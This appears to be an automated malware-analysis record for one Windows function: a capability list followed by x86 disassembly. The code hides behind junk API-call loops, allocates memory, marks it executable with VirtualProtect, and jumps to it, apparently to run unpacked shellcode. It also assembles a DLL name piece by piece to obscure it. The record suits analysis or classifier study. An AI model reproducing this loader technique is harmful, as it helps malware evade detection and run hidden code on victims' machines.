Function at 0x42ad40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get file size
Manipulate console buffer
Read .ini file
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2108
call fcn.00413470
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffW]
xor esi, esi
cmp esi, 0x2d1eb
jge 0x42ad76
push 0
push 0
push 0
call edi
cmp dword [0x7b892c], 0x6fb
jne 0x42ad8a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9c87d0
jle 0x42ada4
cmp ebp, 0xc0e614
je 0x42ada4
cmp dword [esp + 0x4c], 0x9266fa8
jne 0x42adaf
inc esi
cmp esi, 0x7e5cd
jl 0x42ad66
jmp 0x42adcd
cmp dword [0x7b892c], 0x28
jne 0x42adcd
push 0x4040ec
push 0x404124
push 0x404130
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x7b892c], 0xcf8
jne 0x42ae03
push 0
push 0
push 0
push 0
call fcn.00407702
push 0
push 0
call fcn.004186c4
add esp, 0x18
lea eax, [esp + 0x68]
push eax
call fcn.004057a0
push 0
call fcn.00407b6c
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x42ae24
mov eax, 0x5d1
add dword [0x7b892c], eax
cmp dword [0x7b892c], 0xca3
jne 0x42ae59
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push 0x4041e0
push ecx
mov dword [esp + 0x28], ecx
call edi
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x42ae11
mov edx, dword [0x7b892c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x43997c], eax
mov eax, dword [0x7b892c]
xor esi, esi
test eax, eax
je 0x42af48
mov ebp, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
cmp eax, 0xfe
jne 0x42aefb
push 0
lea eax, [esp + 0x91c]
push eax
call ebp
push 0
call ebx
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x124]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
call edi
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x44]
push ecx
push 0x404210
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.0042a800
mov eax, dword [0x7b892c]
cmp eax, 0x29
jne 0x42af3f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0
push 0
lea edx, [esp + 0x120]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call edi
mov eax, dword [0x7b892c]
inc esi
cmp esi, eax
jb 0x42ae97
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x9682ab
cmp eax, 3
jne 0x42af6b
push 0
push 0
push 0
push 0
push 0
push 0
call esi
mov eax, dword [0x7b892c]
dec edi
jne 0x42af53
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x14], 0x25887
mov ebx, 0xabebc05c
lea ecx, [ecx]
mov dword [0x7b8928], ebx
cmp eax, 0x222
jne 0x42afbd
push 0x40421c
call esi
push 0
lea eax, [esp + 0x11c]
push eax
call edi
push 0
push 0
push 0
call ebp
mov eax, dword [0x7b892c]
dec dword [esp + 0x14]
jne 0x42af90
mov edx, dword [0x43997c]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x434be8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0042ab20
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFix]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
xor esi, esi
jmp 0x42b000
cmp dword [0x7b892c], 0xba
jne 0x42b025
lea eax, [esp + 0x18]
push eax
call edi
lea ecx, [esp + 0x40]
push ecx
call ebx
push 0x40422c
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x42b048
mov eax, 0x2915
add dword [0x43997c], eax
inc esi
cmp esi, 0x1605a
jl 0x42b000
mov eax, 0x6d
mov word [0x7b8936], ax
mov eax, 0x6c
mov word [0x7b8944], ax
mov edx, 0x69
xor eax, eax
push 0x7b8930
mov dword [0x7b8940], 0x6c0064
mov dword [0x7b893c], 0x2e0032
mov word [0x7b8934], dx
mov dword [0x7b8930], 0x73006d
mov word [0x7b8946], ax
mov dword [0x7b8938], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b8932], dx
mov word [0x7b8936], ax
xor eax, eax
cmp dword [0x7b892c], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b893a], cx
mov word [0x7b8946], ax
mov word [0x7b8938], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x7b8940], 0x6c0064
mov word [0x7b8934], ax
mov word [0x7b8930], cx
mov word [0x7b8944], dx
mov dword [0x7b893c], 0x2e0032
jne 0x42b219
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea edx, [esp + 0x918]
push edx
push 0x404260
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
lea ecx, [esp + 0xd1c]
push ecx
push 0x4042a0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x1524]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x4042dc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea eax, [esp + 0x191c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x4042e8
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret